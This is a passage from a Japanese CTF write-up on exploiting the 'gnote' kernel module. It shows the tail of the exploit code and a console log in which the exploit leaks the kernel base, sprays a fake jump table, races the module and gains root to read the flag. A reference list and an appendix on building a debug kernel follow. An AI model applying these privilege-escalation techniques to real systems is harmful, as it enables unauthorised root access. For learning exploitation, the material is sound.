  164. for(int ix=0;ix!=100000;++ix){
  165. if(ix%0x1000==0)
  166. printf("try :0x%x\n",ix);
  167. write(fd, mal_switch, sizeof(mal_switch));
  168. }
  169.  
  170. return 0;
  171. }







12: 結果

  1. 14375 ブロック
  2. ________ ________ ________ _________ _______
  3. |\ ____\|\ ___ \|\ __ \|\___ ___\ ___ \
  4. \ \ \___|\ \ \ \ \ \ \|\ \|___ \ \_\ \ __/|
  5. \ \ \ __\ \ \ \ \ \ \\ \ \ \ \ \ \ \_|/__
  6. \ \ \|\ \ \ \ \ \ \ \\ \ \ \ \ \ \ \_|\ \
  7. \ \_______\ \__\ \__\ \_______\ \ \__\ \ \_______\
  8. \|_______|\|__| \|__|\|_______| \|__| \|_______|
  9. / $ whoami
  10. whoami: unknown uid 1000
  11. / $ cat /flag
  12. cat: can't open '/flag': Permission denied
  13. / $ ./dbg/exploit1
  14. read bytes: 100
  15. kernel _text base: 0xffffffffaf400000
  16.  
  17. *******************************
  18. ***************************
  19. fake table: 0x10000 ~ 0x2010000
  20. pointing to 0xffffffffaf406e10
  21. *******************************
  22. ***************************
  23. writing jmp entries into jmptable
  24. ~0x10000
  25. ~0x18000
  26. ~0x20000
  27. ~0x28000
  28. ~0x30000
  29. ~0x38000
  30. ~0x40000
  31. ~0x48000
  32. ~0x50000
  33. ~0x58000
  34. ~0x60000
  35. ~0x68000
  36. ~0x70000
  37. ~0x78000
  38. ~0x80000
  39. ~0x88000
  40. ~0x90000
  41. ~0x98000
  42. ~0xa0000
  43. ~0xa8000
  44. ~0xb0000
  45. ~0xb8000
  46. ~0xc0000
  47. ~0xc8000
  48. ~0xd0000
  49. ~0xd8000
  50. ~0xe0000
  51. ~0xe8000
  52. ~0xf0000
  53. ~0xf8000
  54. ~0x100000
  55. ~0x108000
  56. ~0x110000
  57. ~0x118000
  58. ~0x120000
  59. ~0x128000
  60. ~0x130000
  61. ~0x138000
  62. ~0x140000
  63. ~0x148000
  64. ~0x150000
  65. ~0x158000
  66. ~0x160000
  67. ~0x168000
  68. ~0x170000
  69. ~0x178000
  70. ~0x180000
  71. ~0x188000
  72. ~0x190000
  73. ~0x198000
  74. ~0x1a0000
  75. ~0x1a8000
  76. ~0x1b0000
  77. ~0x1b8000
  78. ~0x1c0000
  79. ~0x1c8000
  80. ~0x1d0000
  81. ~0x1d8000
  82. ~0x1e0000
  83. ~0x1e8000
  84. ~0x1f0000
  85. ~0x1f8000
  86. ~0x200000
  87. ~0x208000
  88. ~0x210000
  89. ~0x218000
  90. ~0x220000
  91. ~0x228000
  92. ~0x230000
  93. ~0x238000
  94. ~0x240000
  95. ~0x248000
  96. ~0x250000
  97. ~0x258000
  98. ~0x260000
  99. ~0x268000
  100. ~0x270000
  101. ~0x278000
  102. ~0x280000
  103. ~0x288000
  104. ~0x290000
  105. ~0x298000
  106. ~0x2a0000
  107. ~0x2a8000
  108. ~0x2b0000
  109. ~0x2b8000
  110. ~0x2c0000
  111. ~0x2c8000
  112. ~0x2d0000
  113. ~0x2d8000
  114. ~0x2e0000
  115. ~0x2e8000
  116. ~0x2f0000
  117. ~0x2f8000
  118. ~0x300000
  119. ~0x308000
  120. ~0x310000
  121. ~0x318000
  122. ~0x320000
  123. ~0x328000
  124. ~0x330000
  125. ~0x338000
  126. ~0x340000
  127. ~0x348000
  128. ~0x350000
  129. ~0x358000
  130. ~0x360000
  131. ~0x368000
  132. ~0x370000
  133. ~0x378000
  134. ~0x380000
  135. ~0x388000
  136. ~0x390000
  137. ~0x398000
  138. ~0x3a0000
  139. ~0x3a8000
  140. ~0x3b0000
  141. ~0x3b8000
  142. ~0x3c0000
  143. ~0x3c8000
  144. ~0x3d0000
  145. ~0x3d8000
  146. ~0x3e0000
  147. ~0x3e8000
  148. ~0x3f0000
  149. ~0x3f8000
  150. ~0x400000
  151. ~0x408000
  152. stack @ 0xaf3f6000 ~ 0xaf416000
  153. get_shell @ 0x40200c72
  154. *******************
  155.  
  156. Into loop: push any key
  157.  
  158. try :0x0
  159. ...repeating xchg $rbx,
  160. try :0x1000
  161. try :0x2000
  162. try :0x3000
  163. try :0x4000
  164. try :0x5000
  165. try :0x6000
  166. try :0x7000
  167. try :0x8000
  168. try :0x9000
  169. try :0xa000
  170. try :0xb000
  171. try :0xc000
  172. try :0xd000
  173. / # whoami
  174. root
  175. / # cat /flag
  176. TWCTF{flag}
  177. / #

 

 

ちゃんとroot権限でflagが読めた!!!!!

味気ないflag!!

 

 

 





13: アウトロ

 

f:id:smallkirby:20191119225415p:plain

特に意味はないがアイキャッチ用にカーネルでバッグ作業風景を貼っておくの巻

 

 

慣れないkernel exploitationでありかなり時間がかかってしまった

だが今回やったことの中には

GOT overwrite/ UAF/ unsortedbin attackみたいな典型的な知識もきっと含まれているのだろう

(特に権限昇格の部分は常套手段らしい。参考の【x】参照)

今後もkernel問を解いていって、どれがよく使う知識なのかを見極めていきたい

 

さて、今回は人生で初めてkernel exploitationをしたことになる

(ほぼ丸パクリだが、実際にkernelを読んでexploitの意味や関係する分野の周辺知識を理解しようとした典で自分にとっては全くの無益ではないように思う。勿論見る側は参考元を見ればいいだけの話だが)

 

往々にして初めてというものは、あとから思い返すともの凄く恥ずかしい出来になる

自分がpwnを始めた3月頃の記事を見返しても、こいつ何言っているんだと言いたくなるような恥ずかしい内容になっていることが多々ある

きっとこの記事も、今後自分がレベルを上げたときに見返すと恥ずかしい出来のものであろう

だが誰もが最初はnewbieだ

見返して恥ずかしい内容だったならば、腕を上げたと自信を持てばいい





 

 

 

 

 

協力:

JP3BGY, toka

 

 

 

 

 

 

 

0: 参考

【1: 全面的に参考にしたgnoteのwriteup記事】

rpis.ec

 

【2-1: 環境構築に参考にした記事】

kaki-no-tane.hatenablog.com

 

【2-2: 環境構築に参考にした記事】

jp3bgy.github.io

 

【3: slubアロケータについての概念から実際の仕組みまでの詳細な解説記事】

kernhack.hatenablog.com

 

【4: linux kernelのソースコード

elixir.bootlin.com



【5: slubアロケータについての補助的な理解】

qiita.com

 

【6: slubアロケータについてのIBMの記事】

www.ibm.com

 

【7: slubアロケータについての詳細なドキュメント(若干古いか?)】

www.kernel.org

 

【8: 2の筆者様によるslubアロケータの明快なスライド】

Slub data structure

 

 

 

 

【9: RCUについて】

lwn.net

 

【10: LKMについて】

www.ibm.com

 

 

【11: カーネルデバッグについて】

01.org

 

 

【12: ret2usrによる権限昇格について】

inaz2.hatenablog.com

 

 

【13: ユーザ空間への戻り方について】

rkx1209.hatenablog.com

 

 

【14: sysretqについて】

qiita.com

 






 

 

-1: Appendix

自前OS環境の整備

随時自分でkernel debugができるようシンボル情報付きのvmlinuxを入手するために自前のOS環境を用意する必要がある

これに結構手間取ってしまった

まずkernelのバージョンは4.19.65 SMP mod_unloadでありマイナー番号まで辿れるようにlinux-stableのgitレポジトリをcloneしてきた

 

menuconfigで以下を参考にして設定する

Build and run minimal Linux / Busybox systems in Qemu · GitHub

 

今回はモジュールのフォーマットに合わせるため加えてmenuconfigで

Processor type and features ---> Symmetric multi-processing support

Enable loadable module support ---> Module unloading

Processor type and features ---> Avoid speculative indirect branches in kernel (RETPOLINE有効に)

の3つをオンにしておく必要がある

 

上のような設定でビルドしたところモジュールのインストール自体はできているものの/proc/gnoteがつくられない

ということでデバッグをしてその原因を探っていく

 

/proc/にエントリを作る関数はproc_create_data()が最初である

これにブレイクポイントをはってデバッグしてみると

cpuinfoやslabinfoなどのエントリが作られるのは確認できたが

(この関数の第一引数がchar *nameである故RDIにはモジュール名へのポインタが入っている)

肝心のgnoteのためにproc_create_data()が呼ばれていないことがわかった

するとgnoteはインストール自体はされているがgnoteのinit関数が呼ばれていないことになる

 

モジュールのインストールはfinit_moduleシステムコールから行われる

これはload_module()を呼び出すのだが、gnoteに関してこの関数が呼ばれていることは確認できた

またload_module()の最後にはdo_init_module()を呼び出すのだが、これも確認できた

この関数中のfailラベルに飛ばされていないことも確認済みである

] mod->init!=NULLであればdo_one_initcall(mod->init)をするのだが

  1. [-------------------------------------code-------------------------------------]
  2. 0xffffffff8108e124 <do_init_module+52>: mov rax,QWORD PTR gs:0x14c40
  3. 0xffffffff8108e12d <do_init_module+61>: and DWORD PTR [rax+0x24],0xffffbfff
  4. 0xffffffff8108e134 <do_init_module+68>: mov rdi,QWORD PTR [rbx+0x150]
  5. => 0xffffffff8108e13b <do_init_module+75>: test rdi,rdi
  6.  
  7. [----------------------------------registers-----------------------------------]
  8. RAX: 0xffff888000074440 --> 0x80000008
  9. RBX: 0xffffffffa0002140 --> 0x1
  10. RCX: 0x673
  11. RDX: 0x672
  12. RSI: 0x6000c0
  13. RDI: 0x0
  14. RBP: 0xffffc900000b7d60 --> 0xffffc900000b7e50 --> 0xffffc900000b7f10 --> 0xffffc900000b7f20 --> 0xffffc900000b7f48 --> 0x0

このようにmod->init==NULLになっている

ということはモジュールの登録自体は正常にされているものの、init関数gnote_init()が呼ばれていないとういうことか。。。

 

 

 

その後色々と調べてみた結果

gnote_init()があるべきところにgnote_exit()がロードされており

gnote_init()が上書きされていたことがわかった

(なおモジュールシンボルのロードは lx-symbols コマンドで)

なぜ他の関数は正しくロードされているのにinit関数だけが上書きされているのかはわからなかった

 

結局、native環境(Linux 4.15.0-70-generic #79-Ubuntu SMP)においてlocalmodconfigしたところモジュールが動作した

今のところはこれでいいとしよう

 

なお、実際にkernel問題を解くだけならシンボル情報がなくとも

つまり自前で環境を構築せずとも大丈夫らしいが

今回はカーネルデバッグをしつつこの辺りの世界に慣れることが主たる目的であるため

このように自前の環境構築を行った

 

 

 

 

 

 

 

 

 

 

 

続く・・・